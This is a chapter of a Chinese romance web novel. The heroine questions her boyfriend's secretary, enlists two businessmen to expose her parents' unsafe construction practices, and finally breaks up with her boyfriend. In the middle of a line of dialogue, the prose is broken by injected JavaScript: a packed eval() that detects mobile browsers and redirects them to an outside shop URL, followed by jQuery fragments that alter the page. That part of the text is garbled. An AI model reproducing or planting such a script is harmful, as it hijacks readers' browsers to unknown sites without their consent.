和季屿森商闵谈完后，许莞随便找了个酒店住一晚，第二天上午才给江回州发消息说自己回来了。
江回州在开会，并没有第一时间回复。
没一会儿，李闻给她打来电话，说公司事情太多绊住江回州了，所以抽不开身，让他来接她。
许莞本来说不用了，但老板交代给他的任务，李闻说什么都要办完。
没办法，许莞拎着行李箱站在车站门口等了他二十分钟。
李闻到的时候，她正面无表情地盯着车水马龙的道路，看上去不太开心的样子。
他小心翼翼接过行李，为她拉开车门，递上热奶茶和小零食。
“对、对不起，许小姐，路上太堵了，让您久等了，您、您回去告诉老板扣我的工资吧。”
李闻垂头丧气道歉。
“嗯？”许莞被冻僵的手脚好不容易回温，大脑也堪堪活动起来，“我没有怪你啊。”
她只是面部冷得做不出来表情而已。
“而且我不是告诉过你，不用喊我您呀什么的，咱们差不多大，很多东西我还要跟你学习呢。”她笑着往手心里哈了口气。
之前许莞让他直呼自己的名字，他也不肯，许莞只好随他去了，反正总比他自己想出来的“老板娘”称呼好。
李闻心里感激涕零，再次感叹老板真是嫁了个好人家。
“江回州什么时候才忙完？”许莞问他。
李闻给同事发了个消息问进度，得到答案后为难地回她：“还要好几个小时……可能午饭没有办法和你一起吃了……”
许莞表示理解，毕竟年底事情比较多。
“那李秘书你忙吗？有时间一起吃个饭吗？”
李闻诚惶诚恐，按理说许莞提出的所有要求他都不能拒绝，可这……
许莞善解人意道：“没事，你要有工作就去忙吧，把我放在下个路口，我自己去吃。”
他不敢轻易同意，试探道：“许小姐是有什么事想让我做吗？”
“想问你一点江回州的事。”
李闻松了口气。
谨慎起见，他还是给江回州发消息询问意见。
江回州没回他，却直接给许莞打来电话。
“怎么想起来和李闻一起吃饭了？”他的声音中透着不易察觉的疲惫。
“不想来回跑了，待会吃完饭我就直接回学校复习了，晚上我自己回家就可以。”
江回州隔着玻璃看了眼会议室黑压压的人头：“好，晚上我去接你。”
许莞带李闻去了自己大一时最爱吃的一家鸡公煲。
小店铺面不大，仅有的几张桌子上都坐满了顾客。
李闻去问了时间，还要再等上半小时。
“要不您先去车上等着，我买到了给您打包带回去吃？”
许莞十分固执，她摇摇头：“不了，还是一起等吧。”
好不容易找个位置坐下，李闻按照她的口味点了重辣，把自己吃的鼻涕冷汗齐下。
许莞拿了两瓶果汁来，拧开放在他面前，开始进入正题：“江回州这段时间都在忙什么啊？”
李闻被辣的发麻，思考神经都变得迟钝，再加上他对许莞本来也不设防，自然而然道：“就是到年底了各种总结啊什么的很多，他都要亲自看，而且今年不是投了个新项目吗？老板是主要投资人，自然就关心得多一点。”
“哦……”许莞若有所思，“那他会关心具体的施工过程呀进度什么的吗？”
她意有所指。
“这些都有负责人呀，他们会定时向投资方们做报告的。”李闻撂下筷子，眼眶辣的发热，他连灌半瓶水，“许小姐，我吃饱了，您吃吧。”
许莞又问了他些其他无关紧要的小事。
“还有什么吗？”
江回州丝滑顺畅地在文件上签下自己的名字。
李闻微微欠身接过，一个字都不敢遗漏地复述：“许小姐还问您平时在公司怎么吃饭，一天最多要开几次会之类的。”
“嗯，我知道了。”江回州从抽屉里拎出车钥匙，“今天就到这吧，你可以下班了。”
他的脸上并没有李闻以为的欣喜，反倒是一副郁色。
李闻咽下到嘴边的“其实许小姐很关心您呢”的谄媚，欢天喜地提前下班了。
——
许莞这学期的考试课只有一门，复习难度不大。
宿舍里夏清俞早在学期初就实习去了，一直没有回来，又是只剩她和向婷。
向婷好久没见她，黏黏糊糊贴在她身边，问东问西。
“你实习的地方找好了吗？”向婷问。
许莞点点头：“你呢？”
“我没打算找，我到时候让我爸找个地方给我开个实习证明就好，我明年要参加省考呢，考不过还要继续准备，哪来的时间实习。”她撅撅嘴。
学校里不少人这么做，大部分人是为了考研考公，没时间实习，也有少部分人只是因为懒，不想去，不过这样的人大多都有家庭托底。
向婷絮絮叨叨，还没到毕业，她就已经生出迷茫不舍：“哎，毕业了我们就各奔东西，见不到你们，我会好难过的……”
许莞的笔尖在纸上划出长长一道痕迹，拖出横线之外。
她想的，是不同于毕业的另一份别离。
像是应和她心中所想，手机一声提示音，苗斯越给她发来消息。
【初步拟好的合同，你先看一下。】
许莞顺手转发给商闵和季屿森，让他们也确认。
等待的过程，她顺手点开季屿森的朋友圈。
季屿森这个人，认识得久了就会发现，他并不是看上去那么温良无害。甚至是在许莞认识的所有人中，最复杂最让人看不透的一个人。
他的朋友圈只有一条，是去年新年在烟花下和季书韵的合照，背景就在她昨天去的那处宅子。
赤裸裸的摆放在那里，毫不遮掩的心思，宣告她的独特。
季屿森的那处宅子采光非常好，过了中午，暖洋洋的阳光洒满院子，给一切事物都镀上一层柔和的色彩。
据说这是他前几年从一个快破产的老板手里收来的。
三人坐着扯了会干巴巴的闲话。
但许莞很快就装不下去了，她直接表明自己的目的：“有件事想请你们帮帮我。”
商闵“呦”一声，像听见什么不得了的新闻：“有什么事江回州帮不了你，能用得上我们？”
他吸溜了一口热茶，忽然凑近，眼里露出打量：“我猜猜，不会是跟你家里有关的事吧？”
许莞心里一惊，果然他们这些常年混迹商场的，一个比一个精。
季屿森不紧不慢地摘下眼镜，哈了口气，扯过商闵的衣角擦了擦镜片。
“许小姐，违法乱纪的事我们可不做。”他开玩笑道。
“当然不是。”许莞摆摆手，她想起来自己不仅是来求助的，其实也是来合作的，不由得挺了挺腰板，让自己看上去更有气势。
“我想让你们配合我，抓住我父亲和母亲的把柄，他们在西北影视基地中使用劣质原料违约以及不安全作业。”
商闵脸上笑意消失殆尽，他立即坐直身子，正色道：“什么时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020586|188064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的事？”
“应该在两个月内，具体需要你们去调查。”
季屿森的眼神变得玩味：“你这是……大义灭亲？”
“嘶……不对呀，这种事你告诉江回州也是一样的啊，他又不会不管，干嘛找我们？”商闵觉出点不对。
许莞语出惊人：“但是我需要你们负责的所有区域能源供电都暂时签给我家。”
之所以是“暂时”，就是要趁林暮秀和许鸿才沉浸在巨大的喜悦中毫无防备时，再抓住他们的把柄一网打尽。
仅仅靠苗斯越手里的那些项目根本不够，至少骗不过林暮秀，但她不可能真的去找江回州，所以商闵和季屿森就成了首选。
他们两个都是参与投资建设的主要人物，手里的项目加起来少说有五分之二。
她可以用这些稳住林暮秀，等离开后，苗斯越会寻人将他们的所作所为“无意”捅破，届时再加上收集好的证据，他们不仅要赔付一大笔违约金，还可能面临牢狱之灾。
两人听完她的计划，互相对视一眼。
季屿森率先开口：“我们凭什么帮你？替你查证据，到时候还要帮那个谁起诉你爸妈，出力还不讨好，我们是慈善家？”
“查出像林暮秀许鸿才这样心术不正的人不也是在帮你们整治风气？更何况，等他们退出，剩下的项目你们收入囊中，还是做人情给别人……得到的可要比付出的多得多。”
这就是许莞所想的“合作”。
她当然知道不能空手套白狼，所以将所谓的请求变成合作，他们帮她的同时也是为自己谋利益。
“那江回州呢？”商闵的注意力被她所说的“离开”吸引，“你走了我们回州怎么办？”
季屿森不轻不重给了他一脚，拖长调子：“还看不出来吗？许小姐这是要斩断昔日旧枷锁呢。”
“好了，你说的我们同意了，合作愉快。”他伸出清瘦白皙的指节虚拢了一下许莞的手掌，“我们就不送了。”
“合作愉快，这件事还希望你们帮我……”
“保密。”季屿森上道地竖起食指放在唇边。
但有了前车之鉴，许莞并不敢完全相信他。
她再次重复恳求：“请一定要保密。”
等她走出门拐进胡同里，商闵才如梦初醒地大叫：“哎不是，保什么密呀，这不背叛江回州吗？”
季屿森慢悠悠地翘起二郎腿，吹去杯盏中的浮沫：“你不想看江回州泪流满面挽留人的样子吗？”
“……想。”
——
许莞和向婷在学校门口吃了个晚饭，她又买了最爱吃的那家店的蛋挞。
毕竟等过一段时间离开，就很难再吃到了。
蛋挞是热乎乎的刚出炉，嫩滑可口。
江回州的车在她身边停下，车窗半降。
许莞没看见，还傻乎乎地左啃一口蛋挞皮右嗦一口蛋挞心。
向婷用手肘提醒她，她才迟钝转头。
“怎么又不戴帽子？”江回州拉开车门下车，变戏法般拿出个新的毛绒帽子戴在她头上。
向婷笑嘻嘻地看着他们。
“那我先走啦婷婷。”
许莞跟她告别。
坐上车，她的头轻轻靠在窗玻璃上，呼出的气息团成一朵浓重的云。
江回州见她阖上眼，以为她太累睡着了。
于是他放慢车速，尽量行驶得更平稳。
车子拐进小区，刚停稳，许莞突然开口。
一句轻飘飘的，却又宛如千斤之重的话传入他耳中：
“江回州，我们分手吧。”